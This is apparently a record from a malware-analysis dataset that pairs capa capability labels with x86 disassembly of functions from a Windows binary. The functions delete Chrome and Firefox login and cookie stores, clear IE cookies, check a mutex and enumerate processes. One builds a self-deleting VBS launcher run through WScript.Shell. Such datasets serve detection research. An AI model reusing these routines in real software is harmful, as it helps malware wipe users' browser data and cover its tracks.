joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404e08
Capabilities:
Delete file
Move file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x186ec
call fcn.0044ab00
push ebx
push esi
mov esi, ecx
lea edx, [ebp + 0x10]
push edi
xorps xmm0, xmm0
mov dword [ebp - 0xc], esi
xor ebx, ebx
movlpd qword [ebp - 8], xmm0
push 0x4595d8
lea ecx, [ebp - 0x44]
mov dword [ebp - 0x14], ebx
call fcn.00406b5e
pop ecx
push eax
lea ecx, [ebp - 0x2c]
call fcn.00406547
lea ecx, [ebp - 0x44]
call fcn.004034ff
push ebx
push 0x80
push 2
push ebx
push ebx
push 4
lea ecx, [ebp - 0x2c]
call fcn.00404c42
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 4], ecx
ja 0x404ee2
mov edi, dword [ebp + 8]
jb 0x404e7c
cmp dword [ebp - 8], edi
jae 0x404ee2
push ecx
push 0x186a0
lea eax, [ebp - 0x186e8]
mov ecx, esi
push eax
call fcn.004019ba
mov esi, eax
cdq
add dword [ebp - 8], eax
lea eax, [ebp - 0x14]
push ebx
adc dword [ebp - 4], edx
push eax
push esi
lea eax, [ebp - 0x186e8]
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esp, 0x18
lea eax, [ebp - 8]
mov ecx, esp
push 8
push eax
call fcn.0040219f
mov ecx, dword [ebp - 0xc]
push 0x57
call fcn.004018e7
test esi, esi
jle 0x404f1c
mov eax, dword [ebp + 0xc]
mov esi, dword [ebp - 0xc]
cmp dword [ebp - 4], eax
jb 0x404e7c
ja 0x404edf
cmp dword [ebp - 8], edi
jb 0x404e7c
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp + 0x10]
call fcn.00404c42
push eax
lea ecx, [ebp - 0x2c]
call fcn.00404c42
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileW]
mov bl, 1
lea ecx, [ebp - 0x2c]
call fcn.004034ff
lea ecx, [ebp + 0x10]
call fcn.004034ff
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x2c]
call fcn.00404c42
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x404f03

Function at 0x404f36
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
push esi
push edi
mov esi, ecx
call fcn.004021c9
lea ecx, [ebp + 8]
call fcn.00402028
mov edi, eax
jmp 0x404fbd
push 0xa
lea eax, [ebp - 4]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
push eax
call fcn.00437a48
add esp, 0xc
lea eax, [ebp - 4]
lea ecx, [ebp - 0x4c]
push 0x2d
push eax
call fcn.00402178
mov ecx, eax
call fcn.00402028
push eax
mov edx, esi
lea ecx, [ebp - 0x34]
call fcn.00406ba2
pop ecx
mov edx, eax
lea ecx, [ebp - 0x1c]
call fcn.00406be6
pop ecx
push eax
mov ecx, esi
call fcn.0040209b
lea ecx, [ebp - 0x1c]
call fcn.00402091
lea ecx, [ebp - 0x34]
call fcn.00402091
lea ecx, [ebp - 0x4c]
call fcn.00402091
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc edi
add edi, eax
cmp byte [edi], 0
jne 0x404f51
lea ecx, [ebp + 8]
call fcn.00402091
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x407ec0
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push str.AppDataLocalGoogleChromeUser_DataDefaultLogin_Data
push 0x459774
call fcn.004325ad
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00402178
mov edx, eax
lea ecx, [ebp - 0x18]
call fcn.00404804
pop ecx
lea ecx, [ebp - 0x30]
call fcn.00402091
lea ecx, [ebp - 0x18]
call fcn.00402028
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x407f27
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec eax
sub eax, 1
je 0x407f1b
sub eax, 1
je 0x407f1b
xor bl, bl
jmp 0x407f40
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_StoredLogins_not_found_
jmp 0x407f31
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_StoredLogins_found__cleared__
call fcn.00402178
call fcn.00408668
mov bl, 1
add esp, 0x18
lea ecx, [ebp - 0x18]
call fcn.00402091
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x407f4f
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push str.AppDataLocalGoogleChromeUser_DataDefaultCookies
push 0x459774
call fcn.004325ad
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00402178
mov edx, eax
lea ecx, [ebp - 0x18]
call fcn.00404804
pop ecx
lea ecx, [ebp - 0x30]
call fcn.00402091
lea ecx, [ebp - 0x18]
call fcn.00402028
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x407fb6
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec eax
sub eax, 1
je 0x407faa
sub eax, 1
je 0x407faa
xor bl, bl
jmp 0x407fcf
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_Cookies_not_found_
jmp 0x407fc0
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_Cookies_found__cleared__
call fcn.00402178
call fcn.00408668
mov bl, 1
add esp, 0x18
lea ecx, [ebp - 0x18]
call fcn.00402091
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x407fde
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1d4
lea ecx, [ebp - 0x60]
push esi
call fcn.004021c9
lea ecx, [ebp - 0x48]
call fcn.004021c9
lea ecx, [ebp - 0x18]
call fcn.004021c9
push str.AppDataRoamingMozillaFirefoxProfiles_
lea ecx, [ebp - 0x78]
call fcn.00402178
push eax
push 0x459774
call fcn.004325ad
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00402a6d
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.0040209b
lea ecx, [ebp - 0x30]
call fcn.00402091
lea ecx, [ebp - 0x78]
call fcn.00402091
lea eax, [ebp - 0x1d0]
push eax
push 0x459734
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x78]
call fcn.00406ba2
pop ecx
mov ecx, eax
call fcn.00402028
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
lea ecx, [ebp - 0x78]
mov esi, eax
call fcn.00402091
cmp esi, 0xffffffff
jne 0x4081a6
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_StoredLogins_not_found_
call fcn.00402178
call fcn.00408668
add esp, 0x18
jmp 0x4081da
test byte [ebp - 0x1d0], 0x10
je 0x4081a6
lea ecx, [ebp - 0x1a4]
cmp byte [ecx], 0x2e
jne 0x4080bd
movzx eax, byte [ecx + 1]
test al, al
je 0x4081a6
lea edx, [ebp - 0x1a4]
xor ecx, ecx
movzx eax, byte [edx + ecx]
mov edx, 0x459894
cmp al, byte [edx + ecx]
lea edx, [ebp - 0x1a4]
jne 0x4080e3
inc ecx
cmp ecx, 3
jne 0x4080c5
xor eax, eax
jmp 0x4080e8
sbb eax, eax
or eax, 1
test eax, eax
je 0x4081a6
lea eax, [ebp - 0x1a4]
push str.logins.json
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x90]
call fcn.00406ba2
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00404804
pop ecx
push eax
lea ecx, [ebp - 0x60]
call fcn.0040209b
lea ecx, [ebp - 0x30]
call fcn.00402091
lea ecx, [ebp - 0x90]
call fcn.00402091
lea eax, [ebp - 0x1a4]
push str.key3.db
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x30]
call fcn.00406ba2
pop ecx
mov edx, eax
lea ecx, [ebp - 0x90]
call fcn.00404804
pop ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.0040209b
lea ecx, [ebp - 0x90]
call fcn.00402091
lea ecx, [ebp - 0x30]
call fcn.00402091
lea ecx, [ebp - 0x60]
call fcn.00402028
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x40818d
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [ebp - 0x48]
call fcn.00402028
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x4081a6
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea eax, [ebp - 0x1d0]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x408099
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_StoredLogins_Cleared__
call fcn.00402178
call fcn.00408668
add esp, 0x18
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
lea ecx, [ebp - 0x18]
call fcn.00402091
lea ecx, [ebp - 0x48]
call fcn.00402091
lea ecx, [ebp - 0x60]
call fcn.00402091
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4081f9
Capabilities:
Delete file
Enumerate files on windows
Gather firefox profile information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1b8
lea ecx, [ebp - 0x30]
push ebx
push esi
call fcn.004021c9
lea ecx, [ebp - 0x18]
call fcn.004021c9
push str.AppDataRoamingMozillaFirefoxProfiles_
lea ecx, [ebp - 0x60]
call fcn.00402178
push eax
push 0x459774
call fcn.004325ad
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00402a6d
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.0040209b
lea ecx, [ebp - 0x48]
call fcn.00402091
lea ecx, [ebp - 0x60]
call fcn.00402091
lea eax, [ebp - 0x1b8]
push eax
push 0x459734
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x60]
call fcn.00406ba2
pop ecx
mov ecx, eax
call fcn.00402028
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
lea ecx, [ebp - 0x60]
mov esi, eax
call fcn.00402091
cmp esi, 0xffffffff
jne 0x4082a9
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_Cookies_not_found_
call fcn.00402178
call fcn.00408668
add esp, 0x18
jmp 0x4083a3
lea eax, [ebp - 0x1b8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x408385
xor ebx, ebx
test byte [ebp - 0x1b8], 0x10
je 0x40836f
lea ecx, [ebp - 0x18c]
cmp byte [ecx], 0x2e
jne 0x4082e5
movzx eax, byte [ecx + 1]
test al, al
je 0x40836f
lea edx, [ebp - 0x18c]
mov ecx, ebx
movzx eax, byte [edx + ecx]
mov edx, 0x459894
cmp al, byte [edx + ecx]
lea edx, [ebp - 0x18c]
jne 0x40830b
inc ecx
cmp ecx, 3
jne 0x4082ed
mov eax, ebx
jmp 0x408310
sbb eax, eax
or eax, 1
test eax, eax
je 0x40836f
lea eax, [ebp - 0x18c]
push str.cookies.sqlite
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x78]
call fcn.00406ba2
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00404804
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.0040209b
lea ecx, [ebp - 0x48]
call fcn.00402091
lea ecx, [ebp - 0x78]
call fcn.00402091
lea ecx, [ebp - 0x30]
call fcn.00402028
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x4083c6
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec eax
sub eax, 1
jne 0x4083bd
lea eax, [ebp - 0x1b8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4082c1
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_Cookies_not_found_
call fcn.00402178
call fcn.00408668
add esp, 0x18
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov bl, 1
lea ecx, [ebp - 0x18]
call fcn.00402091
lea ecx, [ebp - 0x30]
call fcn.00402091
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
jmp 0x4083a5
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_cookies_found__cleared__
jmp 0x408297
Function at 0x4083d5
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x150
lea ecx, [ebp - 0x18]
push ebx
push esi
call fcn.004021c9
push ecx
push str.Cookies
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerUser_Shell_Folders
mov edx, connect
lea ecx, [ebp - 0x30]
xor bl, bl
call fcn.0040d033
add esp, 0xc
lea ecx, [ebp - 0x18]
push eax
call fcn.0040209b
lea ecx, [ebp - 0x30]
call fcn.00402091
mov edx, 0x459594
lea ecx, [ebp - 0x18]
call fcn.00403f83
test al, al
je 0x408442
sub esp, 0x18
mov ecx, esp
push str._n_IE_cookies_not_found_
call fcn.00402178
call fcn.00408668
mov bl, 1
jmp 0x4084e0
push 0x104
lea eax, [ebp - 0x150]
push eax
lea ecx, [ebp - 0x18]
call fcn.00402028
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea eax, [ebp - 0x150]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x408427
lea eax, [ebp - 0x150]
push eax
lea ecx, [ebp - 0x30]
call fcn.00402178
lea edx, [ebp - 0x30]
lea ecx, [ebp - 0x48]
call fcn.00414225
mov ecx, eax
call fcn.00404c42
mov ecx, eax
call fcn.00414795
lea ecx, [ebp - 0x48]
mov esi, eax
call fcn.004034ff
lea ecx, [ebp - 0x30]
call fcn.00402091
test esi, esi
je 0x4084bb
sub esp, 0x18
mov ecx, esp
push str._n_IE_cookies_cleared__
jmp 0x408431
push ecx
push 0x4599b0
call fcn.00408674
test eax, eax
je 0x4084e3
sub esp, 0x18
mov bl, 1
mov ecx, esp
push str._n_IE_cookies_cleared__
call fcn.00402178
call fcn.00408668
add esp, 0x18
lea ecx, [ebp - 0x18]
call fcn.00402091
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x408649
Capabilities:
Create thread

Disassembly:
xor eax, eax
push eax
push eax
push eax
push 0x4084f3
push eax
push eax
mov byte [0x465a72], al
mov dword [0x465a7c], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov al, 1
ret

Function at 0x4087ef
Capabilities:
Check mutex on windows

Disassembly:
mov ecx, 0x467f60
call fcn.00402028
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor ecx, ecx
cmp eax, 0xb7
setne cl
mov eax, ecx
ret
Function at 0x408de1
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c8
push esi
mov esi, 0x467f78
push edi
mov ecx, esi
call fcn.00402020
push eax
mov ecx, esi
call fcn.00402028
push eax
mov esi, 0x208
lea eax, [ebp - 0x2c8]
push esi
push eax
push str.exepath
mov ecx, 0x467f30
call fcn.00402028
mov edx, eax
call fcn.0040d18b
add esp, 0x14
xor edi, edi
test al, al
jne 0x408e3c
push esi
lea eax, [ebp - 0x2c8]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push str..vbs
lea ecx, [ebp - 0x48]
call fcn.00413f54
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00414225
mov edx, eax
lea ecx, [ebp - 0x78]
call fcn.00407d1f
pop ecx
lea ecx, [ebp - 0x30]
call fcn.004034ff
lea ecx, [ebp - 0x48]
call fcn.00402091
lea eax, [ebp - 0x78]
push eax
push 0x4596b8
push 0x459a28
call fcn.004325a2
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00403509
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00407d1f
pop ecx
mov edx, eax
lea ecx, [ebp - 0x60]
call fcn.0040942c
pop ecx
lea ecx, [ebp - 0x48]
call fcn.004034ff
lea ecx, [ebp - 0x30]
call fcn.004034ff
lea ecx, [ebp - 0x18]
call fcn.00406587
push 0x459bd0
push 0x459bd4
lea ecx, [ebp - 0xc0]
call fcn.00403509
push eax
lea eax, [ebp - 0x2c8]
push eax
push str.CreateObject__WScript.Shell__.Run__cmd__c___
lea ecx, [ebp - 0xa8]
call fcn.00403509
mov edx, eax
lea ecx, [ebp - 0x90]
call fcn.00407d1f
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.004093b6
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00407d1f
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.004064c2
lea ecx, [ebp - 0x48]
call fcn.004034ff
lea ecx, [ebp - 0x30]
call fcn.004034ff
lea ecx, [ebp - 0x90]
call fcn.004034ff
lea ecx, [ebp - 0xa8]
call fcn.004034ff
lea ecx, [ebp - 0xc0]
call fcn.004034ff
push str.CreateObject__Scripting.FileSystemObject__.DeleteFile_Wscript.ScriptFullName_
lea ecx, [ebp - 0x18]
call fcn.004064b9
push ecx
lea ecx, [ebp - 0x60]
call fcn.00404c42
push eax
lea ecx, [ebp - 0x18]
call fcn.00402020
mov esi, eax
lea ecx, [ebp - 0x18]
add esi, esi
call fcn.00404c42
mov edx, esi
mov ecx, eax
call fcn.00414988
pop ecx
pop ecx
test al, al
je 0x408fa7
push edi
mov eax, 0x45962c
lea ecx, [ebp - 0x60]
push eax
push eax
call fcn.00404c42
push eax
push 0x4595bc
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jle 0x408fa7
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea ecx, [ebp - 0x18]
call fcn.004034ff
lea ecx, [ebp - 0x60]
call fcn.004034ff
lea ecx, [ebp - 0x78]
call fcn.004034ff
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40a7ff
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x380
push esi
push edi
mov edi, ecx
call fcn.004021c9
call fcn.00414452
push 0
push 2
mov byte [0x467a24], al
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
test esi, esi
je 0x40a9dd
lea eax, [ebp - 0x380]
mov dword [ebp - 0x380], 0x22c
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
jmp 0x40a9c0
lea eax, [ebp - 0x35c]
push eax
lea ecx, [ebp - 0x18]
call fcn.00403509
mov ecx, dword [ebp - 0x378]
push 0x459eec
call fcn.00414480
movzx edx, al
lea ecx, [ebp - 0x150]
call fcn.00414155
mov edx, dword [ebp - 0x378]
lea ecx, [ebp - 0x138]
push eax
push 0x459ef0
call fcn.00414155
mov edx, dword [ebp - 0x378]
lea ecx, [ebp - 0x120]
push eax
push 0x459ef0
call fcn.00414699
mov edx, eax
lea ecx, [ebp - 0x108]
call fcn.004142e7
push eax
push 0x459ef0
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0xf0]
call fcn.004142e7
push eax
mov edx, edi
lea ecx, [ebp - 0xd8]
call fcn.0040479d
pop ecx
mov edx, eax
lea ecx, [ebp - 0xc0]
call fcn.00404804
pop ecx
mov edx, eax
lea ecx, [ebp - 0xa8]
call fcn.00406ae8
pop ecx
mov edx, eax
lea ecx, [ebp - 0x90]
call fcn.00404804
pop ecx
mov edx, eax
lea ecx, [ebp - 0x78]
call fcn.00406ae8
pop ecx
mov edx, eax
lea ecx, [ebp - 0x60]
call fcn.00404804
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00406ae8
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00404804
pop ecx
push eax
mov ecx, edi
call fcn.0040209b
lea ecx, [ebp - 0x30]
call fcn.00402091
lea ecx, [ebp - 0x48]
call fcn.00402091
lea ecx, [ebp - 0x60]
call fcn.00402091
lea ecx, [ebp - 0x78]
call fcn.00402091
lea ecx, [ebp - 0x90]
call fcn.00402091
lea ecx, [ebp - 0xa8]
call fcn.00402091
lea ecx, [ebp - 0xc0]
call fcn.00402091
lea ecx, [ebp - 0xd8]
call fcn.00402091
lea ecx, [ebp - 0xf0]
call fcn.00402091
lea ecx, [ebp - 0x108]
call fcn.00402091
lea ecx, [ebp - 0x120]
call fcn.004034ff
lea ecx, [ebp - 0x138]
call fcn.00402091
lea ecx, [ebp - 0x150]
call fcn.00402091
lea ecx, [ebp - 0x18]
call fcn.004034ff
lea eax, [ebp - 0x380]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x40a84c
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40b780
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x2c
push ebx
push esi
push edi
mov edi, ecx
xor ebx, ebx
cmp dword [edi + 0x38], ebx
je 0x40b8b6
cmp byte [edi + 0x3d], bl
je 0x40b8b6
call fcn.00402a69
mov esi, eax
mov ecx, edi
mov eax, dword [edi]
push esi
call dword [eax + 0xc]
mov dword [esp + 0xc], eax
lea eax, [esp + 0xc]
push eax
lea eax, [esp + 0x14]
mov dword [esp + 0x14], esi
push eax
call fcn.0040968d
pop ecx
pop ecx
test al, al
je 0x40b7d5
xor al, al
jmp 0x40b8b8
push ebx
push 8
lea ecx, [esp + 0x28]
call fcn.0040214e
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x28]
call fcn.00402314
mov ecx, eax
call fcn.00402cba
lea ecx, [esp + 0x24]
mov esi, eax
call fcn.00402020
add esi, eax
lea ecx, [esp + 0x24]
push esi
lea eax, [esp + 0x14]
push eax
call fcn.00402314
mov ecx, eax
call fcn.00402cba
mov ecx, dword [edi + 0x38]
push eax
lea eax, [edi + 0x40]
push eax
call fcn.00409a3f
sub eax, ebx
je 0x40b83d
sub eax, 1
je 0x40b840
dec eax
sub eax, 1
jne 0x40b8a9
inc eax
jmp 0x40b8a7
mov byte [edi + 0x3d], bl
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x24]
call fcn.00402314
mov ecx, eax
call fcn.00402cba
mov esi, dword [esp + 0x14]
sub esi, eax
je 0x40b885
push dword [edi + 0x4c]
lea eax, [esp + 0x20]
push esi
push 1
push eax
lea ecx, [esp + 0x30]
call fcn.00402314
mov ecx, eax
call fcn.00402cba
push eax
call fcn.00434185
add esp, 0x10
cmp esi, eax
jne 0x40b8a5
cmp byte [edi + 0x3d], bl
je 0x40b8a3
test esi, esi
jne 0x40b7e1
push ebx
push 8
lea ecx, [esp + 0x28]
call fcn.00406a7e
jmp 0x40b7e1
mov bl, 1
mov al, bl
mov bl, al
lea ecx, [esp + 0x20]
call fcn.00402091
mov al, bl
jmp 0x40b8b8
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40cf8c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
lea eax, [ebp - 4]
xor esi, esi
push eax
push 0x20019
push esi
push edx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40cfcf
push esi
push esi
push esi
push esi
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
sete al
jmp 0x40cfd1
xor al, al
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x40cfd6
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 4
pop eax
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push edx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40d02d
push esi
lea eax, [ebp - 8]
push eax
push dword [ebp + 0xc]
lea eax, [ebp - 0xc]
push eax
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
sete al
jmp 0x40d02f
xor al, al
mov esp, ebp
pop ebp
ret

Function at 0x40d033
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
push esi
push edi
lea eax, [ebp - 4]
mov dword [ebp - 8], 0x400
push eax
push 0x20019
xor esi, esi
mov edi, ecx
push esi
push dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40d094
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x408]
push eax
push esi
push esi
push dword [ebp + 0xc]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, edi
test esi, esi
jne 0x40d096
lea eax, [ebp - 0x408]
push eax
jmp 0x40d09b
mov ecx, edi
push 0x459594
call fcn.00402178
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x40d0a8
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x808
push esi
lea eax, [ebp - 4]
mov dword [ebp - 8], 0x400
push eax
push 0x20019
push 0
push dword [ebp + 8]
mov esi, ecx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40d107
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x808]
push eax
push 0
push 0
push 0x459eb4
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x808]
push eax
jmp 0x40d10c
push 0x45962c
mov ecx, esi
call fcn.00403509
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret